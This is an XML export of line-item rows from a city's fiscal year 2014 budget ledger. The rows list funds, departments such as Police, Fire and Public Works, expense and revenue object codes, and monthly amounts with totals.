<row _id="13341"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-14463.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14463.0</total></row>
<row _id="13342"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-188534.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-188534.0</total></row>
<row _id="13343"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-54419.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-54419.0</total></row>
<row _id="13344"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-92188.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-92188.0</total></row>
<row _id="13345"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-19454.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-19454.0</total></row>
<row _id="13346"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-9408.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9408.0</total></row>
<row _id="13347"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10846.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>136</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10982.0</total></row>
<row _id="13348"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>955.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>955.0</total></row>
<row _id="13349"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>149678.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>2350</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>152028.0</total></row>
<row _id="13350"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>480.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>480.0</total></row>
<row _id="13351"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>578990.0</object><object_description>WELLNESS PROGRAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="13352"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 - FSS FORFEITURES</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-5500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>5500</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13353"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20184.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>267</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20451.0</total></row>
<row _id="13354"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6664.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>92</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6756.0</total></row>
<row _id="13355"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
<row _id="13356"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="13357"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="13358"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4500.0</total></row>
<row _id="13359"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533090.0</object><object_description>PROJECT MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>120000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>120000.0</total></row>
<row _id="13360"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561420.0</object><object_description>OPCC SAFE HAVEN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>122002.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>122002.0</total></row>
<row _id="13361"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562162.0</object><object_description>JEWISH VOCATIONAL SERVICE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>52260.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52260.0</total></row>
<row _id="13362"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577724.0</object><object_description>ST JOE HPSHP-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>70377.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>70377.0</total></row>
<row _id="13363"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562434.0</object><object_description>SHP-OPCC</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>112958.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>112958.0</total></row>
<row _id="13364"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405690.0</object><object_description>SALE OF ADVERTISING PANELS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="13365"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>569290.0</object><object_description>FIRE TRUCK MAINTENANCE REIMB</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>432093.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>432093.0</total></row>
<row _id="13366"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10900.0</total></row>
<row _id="13367"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>404010.0</object><object_description>PROP 84-16TH ST WATERSHED</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-1013085.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1013085.0</total></row>
<row _id="13368"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544470.0</object><object_description>GROUNDS MAINT EQ &amp; SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="13369"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11628.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11628.0</total></row>
<row _id="13370"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1914.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>27</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1941.0</total></row>
<row _id="13371"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>555820.0</object><object_description>CUPA ELECTRONIC REPORTING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>39724.0</june><total>39724.0</total></row>
<row _id="13372"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408210.0</object><object_description>BIKE TECHNO DEMO-MTA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-10000.0</july><august>0</august><september>0</september><october>-223096</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-233096.0</total></row>
<row _id="13373"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>12196.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12196.0</total></row>
<row _id="13374"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>408101.0</object><object_description>9-1-1 VOICE LOGGERS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-109896.0</june><total>-109896.0</total></row>
<row _id="13375"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>408320.0</object><object_description>LANDSCAPE &amp; IRRIG PLAN CHECK R</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-40000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-40000.0</total></row>
<row _id="13376"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>408330.0</object><object_description>LANDSCAPE &amp; IRRIG ON-SITE INSP</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-22000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-22000.0</total></row>
<row _id="13377"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>408340.0</object><object_description>URBAN RUNOFF MIT. INSP. ONSITE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-12000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12000.0</total></row>
<row _id="13378"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555067.0</object><object_description>LANDFILL GAS CONTROL SYST.</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>165658.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>165658.0</total></row>
<row _id="13379"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3021.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>30</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3051.0</total></row>
<row _id="13380"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-CITY YARD</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>61500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>61500.0</total></row>
<row _id="13381"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-STREET LIGHTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1060700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1060700.0</total></row>
<row _id="13382"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2014</fiscal_year><july>-210000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-210000.0</total></row>
<row _id="13383"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>814115.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>814115.0</total></row>
<row _id="13384"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3280.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3280.0</total></row>
<row _id="13385"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23400.0</total></row>
<row _id="13386"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1900.0</total></row>
<row _id="13387"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1230.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1230.0</total></row>
<row _id="13388"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4320.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4320.0</total></row>
